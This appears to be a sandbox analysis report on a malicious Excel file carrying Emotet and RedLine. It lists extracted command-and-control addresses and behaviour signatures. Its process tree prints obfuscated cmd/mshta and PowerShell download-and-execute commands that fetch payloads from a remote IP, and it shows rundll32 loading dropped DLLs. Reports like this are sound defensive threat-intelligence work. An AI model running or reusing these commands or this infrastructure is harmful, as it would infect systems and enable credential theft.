Analysis
- max time kernel
155s - max time network
148s - platform
windows10-2004_x64 - resource
win10v2004-en-20220112 - submitted
18/01/2022, 20:28
General
- Target b7abd037919427beae6e7fdf5ce1d245.xls
- Size 142KB
- Sample220118-y8z6csdbdj
- SHA256 4e93c1dcd947587f5eafca098b66e47c5a20fe2106e01e044249c2ecf1087a69
Malware Config
Extracted
-
hta
-
hta.dropper
http://185.7.214.7/ve/ve.html
Extracted
-
ps1
-
ps1.dropper
http://185.7.214.7/ve/ve.png
Extracted
-
emotet
-
Epoch4
-
131.100.24.231:80
-
209.59.138.75:7080
-
103.8.26.103:8080
-
51.38.71.0:443
-
212.237.17.99:8080
-
79.172.212.216:8080
-
207.38.84.195:8080
-
104.168.155.129:8080
-
178.79.147.66:8080
-
46.55.222.11:443
-
103.8.26.102:8080
-
192.254.71.210:443
-
45.176.232.124:443
-
203.114.109.124:443
-
51.68.175.8:8080
-
58.227.42.236:80
-
45.142.114.231:8080
-
217.182.143.207:443
-
178.63.25.185:443
-
45.118.115.99:8080
Signatures
- Emotet
Emotet is a trojan that is primarily spread through spam emails.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine Payload 1 IoCs
- Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
- Blocklisted process makes network request 4 IoCs
- Downloads MZ/PE file
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Loads dropped DLL 4 IoCs
- Drops file in System32 directory 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Program crash 1 IoCs
- Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 5 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 14 IoCs
- Suspicious use of WriteProcessMemory 22 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\b7abd037919427beae6e7fdf5ce1d245.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/185.7.214.7/ve/ve.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\mshta.exemshta http://185.7.214.7/ve/ve.html3⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/ve/ve.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Ttsmkdpipzntmnlw\qzylgcuvxcnq.wxu",ZsQwdV8⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Ttsmkdpipzntmnlw\qzylgcuvxcnq.wxu",DllRegisterServer9⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
-
-
-
-
-
-
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3524 -s 17244⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
-
-
-
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 424 -p 3524 -ip 35241⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/1648-205-0x0000000000920000-0x0000000000946000-memory.dmp
memory/1884-133-0x00007FFCC37B0000-0x00007FFCC37C0000-memory.dmp
memory/1884-138-0x00007FFCC1470000-0x00007FFCC1480000-memory.dmp
memory/1884-130-0x00007FFCC37B0000-0x00007FFCC37C0000-memory.dmp
memory/1884-137-0x00007FFCC1470000-0x00007FFCC1480000-memory.dmp
memory/1884-134-0x00007FFCC37B0000-0x00007FFCC37C0000-memory.dmp
memory/1884-132-0x00007FFCC37B0000-0x00007FFCC37C0000-memory.dmp
memory/1884-131-0x00007FFCC37B0000-0x00007FFCC37C0000-memory.dmp
memory/1976-170-0x00000260265C0000-0x000002603E690000-memory.dmp
memory/1976-174-0x00000260265C0000-0x000002603E690000-memory.dmp
memory/1976-175-0x000002603ECA0000-0x000002603ECE4000-memory.dmp
memory/1976-169-0x000002603E630000-0x000002603E652000-memory.dmp
memory/1976-193-0x000002603ECF0000-0x000002603ED66000-memory.dmp
memory/1976-171-0x00000260265C0000-0x000002603E690000-memory.dmp
memory/2000-188-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/2964-196-0x0000000004DC0000-0x0000000004DE6000-memory.dmp
memory/2964-200-0x0000000004F20000-0x0000000004F46000-memory.dmp
memory/2964-198-0x0000000004EC0000-0x0000000004EE6000-memory.dmp
memory/2964-203-0x00000000050A0000-0x00000000050C6000-memory.dmp
memory/2964-194-0x0000000004CE0000-0x0000000004D06000-memory.dmp
memory/2964-191-0x0000000002D60000-0x0000000002D86000-memory.dmp
memory/3532-210-0x0000000004970000-0x0000000004996000-memory.dmp
memory/3532-208-0x00000000029C0000-0x00000000029E6000-memory.dmp
memory/3532-212-0x0000000004A50000-0x0000000004A76000-memory.dmp
memory/3532-214-0x0000000004AB0000-0x0000000004AD6000-memory.dmp
memory/3532-216-0x0000000004B90000-0x0000000004BB6000-memory.dmp
memory/3532-218-0x0000000004C90000-0x0000000004CB6000-memory.dmp
memory/3532-220-0x0000000004DB0000-0x0000000004DD6000-memory.dmp
memory/3532-222-0x0000000004EA0000-0x0000000004EC6000-memory.dmp